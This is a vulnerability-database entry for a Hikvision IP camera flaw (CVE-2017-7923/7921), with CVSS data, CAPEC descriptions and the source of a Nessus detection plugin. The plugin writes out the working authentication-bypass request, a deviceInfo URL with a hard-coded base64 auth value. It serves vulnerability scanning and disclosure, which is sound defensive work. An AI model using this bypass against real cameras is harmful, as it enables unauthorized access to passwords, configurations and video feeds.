Vulnerabilities > CVE-2017-7923 - Information Exposure vulnerability in Hikvision products

047910
CVSS 4.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
SINGLE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
hikvision
CWE-200
nessus

Summary

A Password in Configuration File issue was discovered in Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices. The password in configuration file vulnerability could allow a malicious user to escalate privileges or assume the identity of another user and access sensitive information.

Vulnerable Configurations

Part Description Count
OS
Hikvision
58
Hardware
Hikvision
58

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Nessus

NASL familyCGI abuses
NASL idHIKVISION_AUTH_BYPASS.NASL
descriptionThe remote Hikvision IP camera is affected by an authentication bypass vulnerability. A remote, unauthenticated attacker can read configurations (including account passwords), access the camera images, or modify the camera firmware.
last seen2020-06-01
modified2020-06-02
plugin id107056
published2018-02-28
reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/107056
titleHikvision IP Camera Remote Authentication Bypass
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(107056);
  script_version("1.6");
  script_cvs_date("Date: 2019/11/08");

  script_cve_id("CVE-2017-7921", "CVE-2017-7923");
  script_bugtraq_id(98313);
  script_xref(name:"ICSA", value:"17-124-01");

  script_name(english:"Hikvision IP Camera Remote Authentication Bypass");
  script_summary(english:"Attempts to bypass authentication.");

  script_set_attribute(attribute:"synopsis", value:
"The remote IP camera web server is affected by an authentication
bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote Hikvision IP camera is affected by an authentication
bypass vulnerability. A remote, unauthenticated attacker can read
configurations (including account passwords), access the camera
images, or modify the camera firmware.");
  script_set_attribute(attribute:"see_also", value:"https://us.hikvision.com/en");
  script_set_attribute(attribute:"see_also", value:"https://us.hikvision.com/en");
  # https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?18ce5951");
  script_set_attribute(attribute:"solution", value:
"Upgrade to a resolved firmware version as per the vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-7921");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/03/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/03/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2018/02/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("hikvision_www_detect.nbin");
  script_require_keys("installed_sw/Hikvision IP Camera");
  script_require_ports("Services/www", 80, 8000);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "Hikvision IP Camera";

get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, embedded:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
url = build_url(port:port, qs:dir);

res = http_send_recv3(
  method : "GET",
  port   : port,
  item   : dir + "/system/deviceInfo?auth=YWRtaW46MTEK",
  exit_on_fail : TRUE
);

if ("<firmwareVersion>" >!< res[2])
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app + " web server", url);

report =
  '\n' + 'Nessus was able to exploit the issue to retrieve device information' +
  '\n' + 'using the following request:' +
  '\n' +
  '\n' + url + 'system/deviceInfo?auth=YWRtaW46MTEK' +
  '\n' +
  '\n' + 'This produced the following response:' +
  '\n' +
  '\n' + res[2] +
  '\n';

security_report_v4(port:port, severity:SECURITY_HOLE, extra:report);